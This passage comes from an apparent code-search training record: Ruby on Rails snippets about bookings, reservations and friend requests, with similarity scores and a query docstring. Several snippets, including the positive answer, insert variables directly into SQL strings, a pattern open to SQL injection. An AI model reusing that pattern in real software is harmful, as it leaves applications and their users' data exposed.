reservation.start_date.to_date\n end_date = reservation.end_date.to_date\n\n confirmed_bookings = space.reservations.where(approved: true)\n\n check = confirmed_bookings.where('? <= DATE(start_date) AND DATE(end_date) <= ?', start_date, end_date)\n return unless check.any?\n\n flash[:danger] = 'You already confirmed another booking request with overlapping dates.'\n redirect_to your_reservations_path\n end", "def user_books\n @reservations = Reservation.get_reservations(current_user.id)\n end", "def pending_friend_requests_to\n \tself.friendships.where(state: \"pending\")\n end", "def filter_owners(path, unknown_owners)\n owners = { clients: [], users: [] }\n unknown_owners.each do |entity|\n if path[0] == \"organizations\" && path.length > 2\n begin\n data.get([\"organizations\", path[1], \"clients\", entity])\n owners[:clients] |= [ entity ]\n rescue\n owners[:users] |= [ entity ]\n end\n else\n owners[:users] |= [ entity ]\n end\n end\n owners\n end", "def room_index\n @bookings = @room.bookings.where.not('is_canceled').order(start_date: :asc)\n end", "def index\n space = Space.find(params[:space_id])\n group = Group.find(space.group_id)\n group_admin = User.find(group.user_id)\n member = Member.find_by(group_id: group.id, user_id: @current_user.id)\n if @current_user.id == group_admin.id\n @reservations = Reservation.where(space_id: params[:space_id])\n elsif member\n @reservations = Reservation.where(\n space_id: params[:space_id], \n member_id: member.id\n )\n end\n render json: @reservations\n end", "def friends_as_requester\n\t\taccepted_friendship = self.requesting_friendships.where(\"accepted = ?\", true)\n\n\t\tfriends = []\n\n\t\taccepted_friendship.each do |friendship|\n\t\t\tfriends << friendship.accepter\n\t\tend\n\n\t\tfriends\n\tend", "def show\n @requests = Request.where(pet_id: params[:id]).all\n users_id = Array.new(@requests.size) \n @requests.each do |req|\n users_id.push([req.interented_id])\n end\n @interested = User.find(users_id)\n end", "def requests_sent\n friends = Friend.where(user_id: params[:user_id], accepted: false)\n\t render json:friends\n end", "def index\n @bookings = Booking.where(user_id: current_user.id)\n end", "def candidates_forwarded_or_rejected\n users.where('users.status <> :us AND user_campaigns.status in (:cs)', us: USER_STATUS_DELETED, cs: [USER_CAMPAIGN_STATUS_FORWARDED, USER_CAMPAIGN_STATUS_REJECTED])\n end", "def friend_requests\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n make_get_call('/friends/waiting-requests').friends\n end", "def filter_by_status(bookings)\n return bookings if params[:status].blank?\n\n bookings.filter_by_status(params[:status])\n end", "def consumer_ids_for_owners\n consumer_ids = self.owners.map do |doc_owner|\n if doc_owner.owner_type == \"GroupUser\"\n doc_owner.owner.group.owner.id\n elsif %w[User Consumer].include?(doc_owner.owner_type)\n doc_owner.owner.id\n else\n nil\n end\n end\n consumer_ids << self.consumer_id # always include uploader/creator of standard_base_document\n consumer_ids.uniq.reject(&:blank?)\n end", "def search_requests_by_user(user)\n result= Array.new(@search_requests.values)\n result.delete_if { |search_request| search_request.user != user }\n result\n end", "def check_room_user\n set_room\n if current_user.id != @room.user.id\n redirect_to bookings_path, notice: \"Cannot Accept/Decline a booking of a room belonging to another user.\"\n end\n end", "def check_owner(params)\n params.delete(:owner_id) if params[:owner_id] && params[:owner_id].empty?\n params\n end", "def has_request\n request_status_pending? && @friend.requester != current_user\n end", "def pending_friends\n inverse_friendships.map{ |fs| fs.user unless fs.accepted? }.compact\n end", "def friend_requests\n\t\tactive_ids = \"SELECT friend_active_id FROM relationships WHERE friend_pasive_id = :user_id AND accepted = false ORDER BY new_request ASC , created_at ASC\"\n\t\treturn User.where(\"id IN (#{active_ids})\", user_id: self.id).includes( avatar_attachment: :blob)\n\tend", "def friend_invite_pending?(other_user)\n requesting_friendships.to_ary.any? { |u| u.requester_id == other_user.id }\n end", "def index\n if current_user.try(:admin?)\n @requests = Request.all\n else\n @requests = Request.find(:all, :conditions => ['requester_email = ? OR approver_email = ?', current_user.email, current_user.email])\n end\n\n end", "def contract_other_people\n result = []\n booking_line_resources.each do |resource|\n result << { :name => resource.resource_user_name,\n :surname => resource.resource_user_surname,\n :document_id => resource.resource_user_document_id,\n :phone => resource.resource_user_phone,\n :email => resource.resource_user_email } if resource.resource_user_name != customer_name and \n resource.resource_user_surname != customer_surname\n if resource.pax == 2\n result << { :name => resource.resource_user_2_name,\n :surname => resource.resource_user_2_surname,\n :document_id => resource.resource_user_2_document_id,\n :phone => resource.resource_user_2_phone,\n :email => resource.resource_user_2_email } if resource.resource_user_2_name != customer_name and \n resource.resource_user_2_surname != customer_surname\n \n end\n end\n\n return result\n end", "def send_friendship_request(other_user)\n friendship_requests.create!(requested_user: other_user) if !self.friends_with?(other_user)\n end", "def overlapping_requests\n\t\tbetween_string = 'BETWEEN #{self.start_date} AND #{self.end_date}'\n\n\t\tCatRentalRequest\n\t\t\t.where.not(id: self.id)#don't want to pick self\n\t\t\t.where(cat_id: self.cat_id)\n\t\t\t.where.not('start_date > :end_date OR end_date < :start_date',\n\t\t\t\tstart_date: self.start_date,\n\t\t\t\tend_date: self.end_date)\n\tend", "def received_friend_requests\n friendships = Friendship.where(:friend_id => self.id, :confirmed => false)\n users = []\n friendships.each do |friendship|\n users.push User.find_by_id friendship.user_id\n end\n\n users\n end", "def passengers_blocked_by(passenger)\n passengers = []\n passengers = @aisle.rows.compact.select{|p| p.assigned_seat.to_i == passenger.assigned_seat.to_i}\n passengers += @waiting_passengers.select{|p| p.assigned_seat.to_i == passenger.assigned_seat.to_i}\n passengers = passengers.select{|p| p != passenger}\n passengers\n end", "def involved_user\n unless @friendship.requester == current_user || @friendship.requested == current_user\n flash[:warning] = \"You are not authorized.\"\n redirect_to root_path\n end\n end", "def purchased usr\n Listing.where(\"listings.status not in (?)\", closed_arr(false)).joins(:invoices)\n .where(\"invoices.buyer_id = ? AND invoices.status = ?\", usr.id, 'paid').uniq\n end", "def get_owner_tickets\n @tickets = Ticket.find_all_by_job_id_and_paid_to_owner(params[:id], false, :order => \"number\")\n render \"get_tickets.html.erb\"\n end", "def find_with_only_user(user)\n uid = user.is_a?(::Starbot::Contact) ? user.id : user\n rooms.values.select{|r| r.users.count == 2 && r.users.map{|u| u.id }.include?(uid) }\n end", "def add_bookings!(bookings, user, date)\n grid.unfilled.each do |empty|\n grid.fill(empty.slot.from, empty.slot.court_id, select_booking(bookings, user, date, empty.slot))\n end\n end", "def create\n @booking = Booking.new(booking_params)\n Room.where(:room_type_id => @booking.room_type_id).each do |room| \n @booking.room = room \n if (Booking.overlapping(@booking)).size == 0\n respond_to do |format|\n if @booking.save\n format.html {\n redirect_to \"/bookings/#{@booking.id}/payment\", notice: 'Booking was successfully created.' \n return;\n }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { \n render :new \n return\n }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end\n \n end\n\n end", "def list_owner_cannot_watch\n if self.list.user == self.user\n errors.add(:base, \"List owner cannot add it to watchlist\")\n end\n end", "def remove_no_longer_following(friendings, user,cursor=-1)\n # get all the people this user is following\n begin\n friends = user.twitter.get(\"/friends/ids.json\", 'cursor'=>cursor.to_s)\n puts \"people #{user.login} is following\\n#{friends.size()}\"\n\n friends = friends.to_set\n\n ret_friendings = []\n friendings.each do |friending|\n if friends.include?(friending.follow_id)\n ret_friendings << friending\n end\n end\n\n ret_friendings\n rescue => e\n Rails.logger.error e.message\n end\n\n end" ]
[ "0.6495409", "0.6252313", "0.61979896", "0.61979896", "0.61979896", "0.6088526", "0.60728425", "0.6050467", "0.58967304", "0.58083045", "0.57776046", "0.57776046", "0.56964916", "0.5691871", "0.56699854", "0.5663012", "0.563007", "0.5625022", "0.5620409", "0.5615857", "0.5613856", "0.56034553", "0.56020874", "0.5594208", "0.5584246", "0.552585", "0.54832864", "0.5476997", "0.54761636", "0.54632396", "0.5458585", "0.5447403", "0.5443975", "0.54354244", "0.5432057", "0.5423891", "0.5410873", "0.539787", "0.5396645", "0.53965884", "0.5376457", "0.5373211", "0.5367677", "0.5349831", "0.5343392", "0.5336534", "0.5321968", "0.53190786", "0.5304751", "0.5301634", "0.53015715", "0.529915", "0.52990013", "0.5298465", "0.5296328", "0.5293915", "0.5293068", "0.5288296", "0.52862424", "0.52833176", "0.5282514", "0.5276313", "0.5266647", "0.52583027", "0.5248811", "0.52420646", "0.5236155", "0.5235201", "0.52313447", "0.52251226", "0.5222245", "0.5204212", "0.51881796", "0.5185017", "0.5175712", "0.51706225", "0.51684403", "0.51662564", "0.51627696", "0.5154427", "0.5153036", "0.5147682", "0.51417243", "0.5133488", "0.51305413", "0.5114351", "0.5113091", "0.51123667", "0.5111023", "0.511054", "0.510569", "0.51021445", "0.509755", "0.50958276", "0.5094388", "0.50854546", "0.5085084", "0.5076976", "0.50719965", "0.5045436" ]
0.5898498
8
Return booking request list where your user ID is equal to the client ID on the booking = Requests you've made on spaces.
def my_booking_requests my_booking_requests = CONNECTION.exec("SELECT id FROM bookings WHERE client_id='#{@user_id}'") return my_booking_requests end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def all_booking_of_client\n\t\t@bookings = Booking.where(client_id: params[:client_id])\n\t\trender json: @bookings, status: 200\n\tend", "def my_space_requests\n my_space_requests = CONNECTION.exec(\"SELECT id FROM bookings WHERE owner_id='#{@user_id}'\")\n return my_space_requests\n end", "def recieved_requests\n FriendshipRequest.where(\"requested_user_id = ?\", id)\n end", "def overlapping_approved_requests\n overlapping_requests.where(status: \"APPROVED\")\n end", "def booking_params\n params.require(:booking).permit(:user_id, :cancel, :slot_ids[])\n end", "def owner_request_ids\n Request.by_owner.pluck(:id).sort\n end", "def owner_request_ids\n Request.by_owner.pluck(:id).sort\n end", "def owner_request_ids\n Request.by_owner.pluck(:id).sort\n end", "def index\n #approve_request\n @resource_transportation_bookings = ResourceTransportationBooking.where(:requester_id => \"#{current_user.id}\").order.page(params[:page]).per(5)\n end", "def requests\n\t@title = \"Gate Requests\"\n\t@user = User.find(params[:id])\n\t@requests = Relationship.where(:accessed_id => params[:id], :accepted => false)\n\t\n\trender 'requests'\n end", "def list\n search_value = params[\"search\"] || \"\"\n if !current_user.blank?\n @reservation = Reservation.where(\"user_id = ? and itinerary_number like ?\", current_user.id, \"%#{search_value}\")\n end\n end", "def bookings_requested\n # select * from bookings where patient_id = current_user.id\n @bookings_requested = current_user.bookings\n end", "def get_requests\r\n \trequests = []\r\n privates = []\r\n privates_end = []\r\n publics = []\r\n\r\n \tservice = User.find_by(id: params[:user_id]).service\r\n \tif service\r\n \t\t#solicitudes con el id del servicio del usuario\r\n \t\t#requests = Request.where(\"(service_id = :service_id) or (service_id is null and service_type = 'ALL' and payment_method = 'ALL' and vehicle_type = 'ALL') or (service_id is null and service_type = 'ALL' and payment_method = 'ALL' and vehicle_type = :vehicle_type) or (service_id is null and service_type = 'ALL' and payment_method = :payment_method and vehicle_type = :vehicle_type) or (service_id is null and service_type = :service_type and payment_method = 'ALL' and vehicle_type = 'ALL') or (service_id is null and service_type = :service_type and payment_method = :payment_method and vehicle_type = 'ALL') or (service_id is null and service_type = 'ALL' and payment_method = :payment_method and vehicle_type = 'ALL') or (service_id is null and service_type = :service_type and payment_method = 'ALL' and vehicle_type = :vehicle_type) or (service_id is null and service_type = :service_type and payment_method = :payment_method and vehicle_type = :vehicle_type)\",{service_id: service.id, service_type: service.service_type, payment_method: service.payment_method, vehicle_type: service.vehicle_type}).order('created_at DESC').limit(20)\r\n privates = Request.where(\"(service_id = :service_id and status='') or (service_id = :service_id and status='0') or (service_id = :service_id and status='1')\",{service_id: service.id}).order('created_at DESC')\r\n privates_end = Request.where(\"(service_id = :service_id and status='2') or (service_id = :service_id and status='3')\",{service_id: service.id}).order('created_at DESC').limit(20)\r\n publics = Request.where(\"(service_id is null and service_type = 'ALL' and payment_method = 'ALL' and vehicle_type = 'ALL') or (service_id is null and service_type = 'ALL' and payment_method = 'ALL' and vehicle_type = :vehicle_type) or (service_id is null and service_type = 'ALL' and payment_method = :payment_method and vehicle_type = :vehicle_type) or (service_id is null and service_type = :service_type and payment_method = 'ALL' and vehicle_type = 'ALL') or (service_id is null and service_type = :service_type and payment_method = :payment_method and vehicle_type = 'ALL') or (service_id is null and service_type = 'ALL' and payment_method = :payment_method and vehicle_type = 'ALL') or (service_id is null and service_type = :service_type and payment_method = 'ALL' and vehicle_type = :vehicle_type) or (service_id is null and service_type = :service_type and payment_method = :payment_method and vehicle_type = :vehicle_type)\",{service_id: service.id, service_type: service.service_type, payment_method: service.payment_method, vehicle_type: service.vehicle_type}).order('created_at DESC').limit(20)\r\n requests = privates + privates_end + publics\r\n \telse\r\n \t\trequests = Request.where(user_id: params[:user_id]).order('created_at DESC').limit(20)\r\n \tend\r\n \t\r\n \trender json: requests\r\n end", "def deletependingbooking(user)\n body = JSON.parse(HTTParty.get('https://firestore.googleapis.com/v1beta1/projects/'+ENV[\"FIREBASE\"]+'/databases/(default)/documents/bookings').body)\n list = body[\"documents\"]\n\n for el in list\n # pending booking\n if el[\"fields\"][\"user\"][\"stringValue\"] == user.email and el[\"fields\"][\"active\"][\"booleanValue\"]\n name = el[\"name\"]\n city = el[\"fields\"][\"city\"][\"stringValue\"]\n park = el[\"fields\"][\"park\"][\"stringValue\"]\n lockHash = el[\"fields\"][\"lockHash\"][\"stringValue\"]\n\n # free locker\n new_body = JSON.parse(HTTParty.get('https://firestore.googleapis.com/v1beta1/projects/'+ENV[\"FIREBASE\"]+'/databases/(default)/documents/cities/'+hash_code(city).to_s+'/parks/'+hash_code(city+park).to_s+'/lockers/'+lockHash).body)\n \n new_body.delete(\"createTime\") #useless field\n new_body.delete(\"updateTime\") #useless field\n new_body[\"fields\"][\"user\"][\"stringValue\"] = '\"\"'\n new_body[\"fields\"][\"available\"][\"booleanValue\"] = true\n new_body[\"fields\"][\"open\"][\"booleanValue\"] = false\n \n HTTParty.patch('https://firestore.googleapis.com/v1beta1/projects/'+ENV[\"FIREBASE\"]+'/databases/(default)/documents/cities/'+hash_code(city).to_s+'/parks/'+hash_code(city+park).to_s+'/lockers/'+lockHash, \n body: JSON.generate(new_body), headers: {\"Content-Type\": \"application/json\"} )\n\n # delete booking\n HTTParty.delete('https://firestore.googleapis.com/v1beta1/'+name)\n end\n end\n end", "def create\n @booking = Booking.find_by(id: params[:booking_id])\n @user_request = UserRequest.new(user_request_params.merge(booking_id: @booking.id))\n\n if @user_request.save\n @user_request.send_request!(session[:access_token])\n redirect_to action: 'index', controller: 'bookings'\n else\n render action: 'edit'\n end\n end", "def get_available_requests\n start_f =start_time.to_f\n erg = []\n\n Request.all.each do |t|\n if (start_f.between?(t.start_time.to_f, t.end_time.to_f) and \n ((Geocoder::Calculations.distance_between [t.starts_at_N, t.starts_at_E], \n [starts_at_N, starts_at_E], :units => :km) <= t.start_radius) and\n ((Geocoder::Calculations.distance_between [t.ends_at_N, t.ends_at_E], \n [ends_at_N, ends_at_E], :units => :km) <= t.end_radius)) then \n erg << t\n end\n end\n return erg\n end", "def friend_requests\n FriendRequest.all.select do |req|\n req.to_user_id == self.id && req.pending\n end\n end", "def get_users_on_flight_reject_requester\n\n\t\t# Then query saved journeys using the 'purchased_flight' identifier\n\t\t# for a list of the the other user id's who are on the flight\n\t\t# \n\t\t# Remove the queryer from the list and remove sensetive information\n\t\t# \n\t\t# Done. Return our model list\n\n\t\tjourney_id = params[\"journeyId\"]\n\t\tuser_id = params[\"userId\"]\n\n\t\tuser_list = User.on_journey(journey_id).reject{ |s| s.id == user_id }\n\n\t\trender json: user_list.as_json(only: [:id, :first_name, :last_name, :email]), status: 200\n\n\tend", "def showRequests\n \t\t# Ensure user is logged in to view this page\n\t\tif(session.has_key?(\"logged_in\"))\n\t\t\n\t\t\t# If the user is not logged in redirect to homepage\n\t\t\tif(session['logged_in'] != 1) \n\t\t\t\tredirect_to url_for(:controller => :home, :action => :showHome)\n\t\t\tend\n\n\t\t\t# Get user id.\n\t\t\t@userID = session['user_id']\n\n\n\t\t\t# ids of people requesting collaboration.\n\t\t\t@co_ids = Collaboration.where(second_id:@userID)\n\n\t\t\t@num = @co_ids.count\n\n\t\t\t# Arrays to store ids other requesters.\n\t\t\t@requester_ids = Array.new(@num)\n\t\t\t@names = Array.new(@num)\n\t\t\t@messages = Array.new(@num)\n\n\t\t\tfor i in 0..@num-1\n\t\t\t\t@requester_ids[i] = @co_ids[i].first_id\n\t\t\t\t@messages[i] = Collaboration.find_by(first_id:@requester_ids[i], second_id:@userID).message\n\t\t\t\t@names[i] = User.find(@co_ids[i].first_id).username\n\t\t\tend\n\n\t\telse\n\t\t\tredirect_to url_for(:controller => :home, :action => :showHome)\n\t\tend\n\tend", "def search_requests_by_user(user)\n result= Array.new(@search_requests.values)\n result.delete_if { |search_request| search_request.user != user }\n result\n end", "def visible_request_ids_for_approver\n visible_states = [ApprovalStates::NOTIFIED_STATE, ApprovalStates::COMPLETED_STATE]\n Request.where(:workflow_id => workflow_ids, :state => visible_states).pluck(:id)\n end", "def index\n @bookings = Booking.where(consumer_id: current_user).or(Booking.where(consultant_id: current_user))\n\n end", "def overlapping_requests\n CatRentalRequest\n .where('? >= start_date', self.end_date)\n .where('? <= end_date', self.start_date)\n .where('? IS NULL OR id != ?', self.id, self.id)\n end", "def friend_request\n @friend_requests = FriendRequest.where(:friend_id=>current_user.id,:status=>\"friend request pending\")\n end", "def friend_requests\n Friendship.where(friend_id: id, status: false)\n end", "def bookings()\n sql = \"SELECT * FROM bookings WHERE bookings.gymclass_id = $1;\"\n values = [@id]\n results = SqlRunner.run(sql, values)\n return results.map {|booking| Booking.new(booking)}\n end", "def booking_same_user_same_tour\n return Booking.where(user_id: user_id).find_by(tour_id: tour_id)\n end", "def accept_request\n\t\t# Get the trip and user being referenced\n\t\t@trip = Trip.find_by(_id: trip_params[:trip_id])\n\t\t@accepted_user = User.find_by(_id: trip_params[:user_id])\n\t\t# Check that the trip's driver is the current user and that the user being accepted has \n\t\t# Actually requested the trip and that they have not already been accepted\n\t\t# And that there is still space available\n\t\tif (@trip.driver == current_user.id.to_s) && (@trip.user_requests.include?(@accepted_user.id)) && !(@trip.accepted_users.include?(@accepted_user.id)) && @trip.spaces > 0\n\t\t\t# Remove the user from the trip's request users array into the accepted user array\n\t\t\[email protected]_requests.delete(@accepted_user.id)\n\t\t\[email protected]_users << @accepted_user.id\n\t\t\t# Reduce the trip's available spots\n\t\t\[email protected] -= 1\n\t\t\t# Run through all of the accepted user's requested trips and remove them \n\t\t\t# from the trip's requested user arrays\n\t\t\t# Ann array to hold trips that need to be deleted from the user object\n\t\t\t@to_delete = []\n\t\t\t@accepted_user.trips_requested.each do |trip_index|\n\t\t\t\t@deleting_trip = Trip.find_by(_id: trip_index)\n\t\t\t\tif @deleting_trip.from_city == @trip.from_city && @deleting_trip.to_city == @trip.to_city\n\t\t\t\t\t# Add this trip to the to delete array so that it can be deleted from the\n\t\t\t\t\t# User's requests\n\t\t\t\t\t@to_delete << trip_index\n\t\t\t\t\t# Delete the user from the other trip's requests\n\t\t\t\t\t@deleting_trip.user_requests.delete(@accepted_user.id)\n\t\t\t\t\t@deleting_trip.save!\n\t\t\t\tend\n\t\t\tend\n\t\t\t# Delete the user's other requests with the same cities\n\t\t\t@accepted_user.trips_requested = @accepted_user.trips_requested - @to_delete\n\t\t\t# Add it to the user's accepted rides\n\t\t\t@accepted_user.trips_accepted << @trip.id.to_s\n\t\t\[email protected]!\n\t\t\t@accepted_user.save!\n\t\t\tUserMailer.accepted_email(@accepted_user).deliver_now\n\t\t\trender json: {\n\t\t\t\tstatus: 'success',\n\t\t\t\ttrip: @trip\n\t\t\t}, status: 200\n\t\telse\n\t\t\tif !(@trip.driver == current_user.id.to_s)\n\t\t\t\trender json: {\n\t\t\t\t\tstatus: 'error',\n\t\t\t\t\tmessage: 'You cannot accept this request because you are not the driver!'\n\t\t\t\t}, status: 422\n\t\t\telsif (@trip.accepted_users.include?(@accepted_user.id))\n\t\t\t\trender json: {\n\t\t\t\t\tstatus: 'error',\n\t\t\t\t\tmessage: \"User has already been accepted!\"\n\t\t\t\t}, status: 422\n\t\t\telsif !(@trip.user_requests.include?(@accepted_user.id))\n\t\t\t\trender json: {\n\t\t\t\t\tstatus: 'error',\n\t\t\t\t\tmessage: \"Cannot accept a request that hasn't been made yet!\"\n\t\t\t\t}, status: 422\n\t\t\telsif !(@trip.spaces > 0)\n\t\t\t\trender json: {\n\t\t\t\t\tstatus: 'error',\n\t\t\t\t\tmessage: 'There are no more spaces available!'\n\t\t\t\t}, status: 422\n\t\t\tend\n\t\tend\n\tend", "def approver_request_ids\n Request.where(:workflow_id => workflow_ids).pluck(:id).sort\n end", "def approver_request_ids\n Request.where(:workflow_id => workflow_ids).pluck(:id).sort\n end", "def query_finances_started_reservations\n\n query = <<-QUERY\n select b.id, booking_item_stock_model, booking_item_stock_plate, b.driver_name, b.driver_surname,\n b.date_from, b.time_from, b.date_to, b.time_to, b.notes, b.total_cost\n from bookds_bookings b\n join bookds_bookings_lines bl on bl.booking_id = b.id\n join bookds_bookings_lines_resources blr on blr.booking_line_id = bl.id\n where b.date_from >= ? and b.date_from <= ? and b.status NOT IN (1,5)\n order by b.id;\n QUERY\n\n end", "def bookings()\n sql = \"SELECT bookings.*\n FROM bookings\n WHERE bookings.schedule_id = $1\"\n values = [@id]\n result = SqlRunner.run(sql,values)\n bookings = Booking.map_items(result)\n return bookings\n end", "def overlapping_requests\n\t\tbetween_string = 'BETWEEN #{self.start_date} AND #{self.end_date}'\n\n\t\tCatRentalRequest\n\t\t\t.where.not(id: self.id)#don't want to pick self\n\t\t\t.where(cat_id: self.cat_id)\n\t\t\t.where.not('start_date > :end_date OR end_date < :start_date',\n\t\t\t\tstart_date: self.start_date,\n\t\t\t\tend_date: self.end_date)\n\tend", "def index_booking\n @clients = Client.search(params[:search]).order(sort_column + \" \" + sort_direction).page(params[:page]).per(10)\n respond_with(@clients)\n end", "def approved_purchase_requests\n PurchaseRequest.find(:all,:conditions => {\n :purchase_requester_id => self.id ,\n :is_purchase_order_created => true \n })\n end", "def index\n @users = current_user.requesters.where('requests.accepted = ?', false)\n end", "def book_ids(requests)\n return if requests.nil?\n\n arr = []\n requests.each do |r|\n arr << r.book_id\n end\n arr\n end", "def user_books\n @reservations = Reservation.get_reservations(current_user.id)\n end", "def index\n @bookings = Booking.where(\"user_id = #{current_user.id}\")\n end", "def booking_params\n params.permit(:user_id, :job_id, :acceptance)\n end", "def search\n\t\t\n\t\t@check_in = params[:reservation][:check_in]\n\t\t@check_out = params[:reservation][:check_out]\n\t\t@city = params[:city]\n\t\t# This function returns an array of listing ids that clash with input date\n\t\tx = find_listings(params[:reservation][:check_in],params[:reservation][:check_out])\n\t\t# Remove all similar ids\n\t\tx = x.uniq\n\n\t\t# All the clashed listing in an active record object\n\t\tclashed_listings = Listing.find(x)\n\t\t@listings = Listing.all\n\t\t# All the listings that is available during date range\n\t\tfiltered_listings_date = @listings - clashed_listings\n\t\t# Put listings id in an array\n\t\tarray = filtered_listings_date.map{|x| x.id}\n\t\t# Convert back into active record objects\n\t\tfiltered_listings_date = Listing.where(id: array)\n\t\t@filtered_listings = filtered_listings_date.where(city: params[:city])\n\t\t\n\t\t@filtered_listings_length = @filtered_listings.length\n\t\t# Pagination \n\t\t@filtered_listings = @filtered_listings.order(:title).page params[:page]\n\n\n\tend", "def request_params\n params.require(:request).permit(:listing_id, :user_id, :start_date, :end_date, :approved, :message_id)\n end", "def add_bookings!(bookings, user, date)\n grid.unfilled.each do |empty|\n grid.fill(empty.slot.from, empty.slot.court_id, select_booking(bookings, user, date, empty.slot))\n end\n end", "def index\n # @booking = Booking.where(user_id: current_user.id)\n if current_user.is_admin\n @bookings = Booking.all\n elsif current_user.is_agent\n # tour_owner = Tour.where(id: params[:tour_id]).pluck(:user_id)\n @bookings = Booking.where(tour_id: params[:tour_id])#.where(user_id: tour_owner)\n elsif current_user.is_customer\n @bookings = Booking.where(user_id: current_user.id)\n end\n\n end", "def index\n @bookings = Booking.where(:customer_id => session['customer_id'])\n end", "def booking_params\n params.require(:booking).permit(:campground_id, :client_id, :status, :arrival_date, :departure_date)\n end", "def index\n @items = Item.select { |item| item.user == current_user}\n @bookings = Booking.select { |booking| booking.user == current_user }\n end", "def approver_id_list(resource)\n visible_request_ids = visible_request_ids_for_approver\n Rails.logger.debug { \"Final accessible request ids: #{visible_request_ids}\" }\n\n case resource\n when \"requests\"\n visible_request_ids\n when \"actions\"\n Action.where(:request_id => visible_request_ids).pluck(:id).sort\n else\n raise ArgumentError, \"Unknown resource type: #{resource}\"\n end\n end", "def overlapping_requests\n CatRentalRequest.where(\"(start_date BETWEEN '#{self.start_date}' AND '#{self.end_date}' OR\n end_date BETWEEN '#{self.start_date}' AND '#{self.end_date}') AND\n cat_id = #{self.cat_id}\")\n end", "def booking_history\n @bookings = Booking.where(:user_id => current_user.id).paginate(:page => params[:page], :per_page => 10)\n\tend", "def index\n @bookings = Booking.all\n # Bookings where the current user is the expert\n @as_expert = Booking.where(expert: current_user)\n # Bookings where the current user is the client\n @as_client = Booking.where(client: current_user)\n\n # All session that the current user is a part of\n @sessions = @as_expert | @as_client\n end", "def booking_params\n params.permit(\n :start_time,\n :end_time,\n :date,\n :room_id,\n :user_id\n )\n end", "def request_reservation(check_in, check_out, block_name: nil, booking_name:, discount: nil)\n # checks for available rooms\n rooms = available_rooms(check_in, check_out)\n\n # raises an ArgumentError if no rooms are available\n raise ArgumentError, \"No available rooms\" if rooms.length == 0\n\n # creates a reservation\n reservation = Hotel::Reservation.new(check_in: check_in,\n check_out: check_out,\n room: rooms.first,\n block_name: block_name,\n booking_name: booking_name,\n discount: discount)\n\n # adds reservation to list of all reservations\n reservations << reservation\n\n # add reservation to corresponding room\n rooms.first.add_reservation(reservation)\n return reservation\n end", "def requester_ids\n @requester_ids ||= []\n end", "def friend_requests\n get(\"users/requests\").requests\n end", "def reservation_params\n params.permit(:client_id, :user_id, :status, :items, :sale, :to_reserve)\n end", "def index\n # byebug\n if params[:requester] == \"sent\"\n @friend_requests = current_user.friend_requests_as_requester\n else\n @friend_requests = current_user.friend_requests_as_requested\n end\n filter_friend_requests\n end", "def booking_params\n params.fetch(:booking, {}).permit(:user_id, :seat_id, :start_at, :end_at)\n end", "def requesters\n @requesters_arr = []\n current_user= User.where(id: self.id)\n requesters = current_user[0].friendship_requests\n requesters.each do |r|\n @requesters_arr.push(r.friendee)\n end\n\n @requesters_arr\n \n\n end", "def query_overbooking_conflicts\n\n query = <<-QUERY\n select b1.id as booking_id_1, b1.date_from as date_from_1, b1.time_from as time_from_1, b1.date_to as date_to_1, b1.time_to as time_to_1, r1.id as resource_id_1, r1.booking_item_reference as booking_item_reference_1,\n b2.id as booking_id_2, b2.date_from as date_from_2, b2.time_from as time_from_2, b2.date_to as date_to_2, b2.time_to as time_to_2, r2.id as resource_id_2, r2.booking_item_reference as booking_item_reference_2\n from (\n select distinct least(r1.resource_id, r2.resource_id) as resource_id1, greatest(r1.resource_id, r2.resource_id) as resource_id2\n from (\n select b.id as booking_id, b.date_from, b.time_from, b.date_to, b.time_to, r.id as resource_id, r.booking_item_reference\n from bookds_bookings_lines_resources r\n join bookds_bookings_lines l on l.id = r.booking_line_id\n join bookds_bookings b on b.id = l.booking_id\n where (b.date_from >= ? or b.date_to >= ?) and r.booking_item_reference is not null and b.status not in (1,5)\n ) as r1\n inner join (\n select b.id as booking_id, b.date_from, b.time_from, b.date_to, b.time_to, r.id as resource_id, r.booking_item_reference\n from bookds_bookings_lines_resources r\n join bookds_bookings_lines l on l.id = r.booking_line_id\n join bookds_bookings b on b.id = l.booking_id\n where (b.date_from >= ? or b.date_to >= ?) and r.booking_item_reference is not null and b.status not in (1,5)\n ) as r2 on r2.booking_item_reference = r1.booking_item_reference and r2.resource_id != r1.resource_id\n group by r1.resource_id, r2.resource_id \n ) as x\n join bookds_bookings_lines_resources r1 on r1.id = resource_id1\n join bookds_bookings_lines l1 on l1.id = r1.booking_line_id\n join bookds_bookings b1 on b1.id = l1.booking_id\n join bookds_bookings_lines_resources r2 on r2.id = resource_id2\n join bookds_bookings_lines l2 on l2.id = r2.booking_line_id\n join bookds_bookings b2 on b2.id = l2.booking_id\n join bookds_items on r1.booking_item_reference = bookds_items.reference and bookds_items.assignable \n where ((b1.date_from <= b2.date_from and b1.date_to >= b2.date_from) or (b1.date_from >= b2.date_from and b1.date_to <= b2.date_to) or (b1.date_from >= b2.date_from and b1.date_from <= b2.date_to))\n order by least(b1.date_from,b2.date_from)\n QUERY\n\n end", "def credit_requester_for_unused_group_requests\n requester_request_groups = RequestGroup.where([\"request_id = ?\", @request_group.request_id])\n if requester_request_groups.count > 1\n request_groups_not_accepted = requester_request_groups.reject { |request_group| request_group.group_id == @request_group.group_id }\n requester = @request_group.request.user\n request_groups_not_accepted.each { |request_group| requester.add_tokens(request_group) } \n end\n end", "def booking_params\n params[:booking]\n end", "def booking(data)\n payload = safe_access(data)\n\n params = {\n property_id: payload.get(\"inquiry.room.property_id\"),\n inquiry_id: payload.get(\"inquiry.id\"),\n unit_id: payload.get(\"inquiry.room.unit_id\"),\n check_in: payload.get(\"inquiry.check_in\"),\n check_out: payload.get(\"inquiry.check_out\"),\n guests: payload.get(\"inquiry.num_guests\"),\n subtotal: payload.get(\"inquiry.subtotal\"),\n currency_code: payload.get(\"inquiry.currency_code\"),\n customer: {\n first_name: payload.get(\"inquiry.user.first_name\"),\n last_name: payload.get(\"inquiry.user.last_name\"),\n email: payload.get(\"inquiry.user.email\"),\n phone: payload.get(\"inquiry.user.phone_number\")\n }\n }\n\n env[\"rack.input\"] = StringIO.new(json_encode(params))\n true\n end", "def index\n @borrow_requests = current_user.borrow_requests.actionable\n @pending_approvals = current_user.approvals.where(\"status = 'pending'\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @borrow_requests }\n end\n 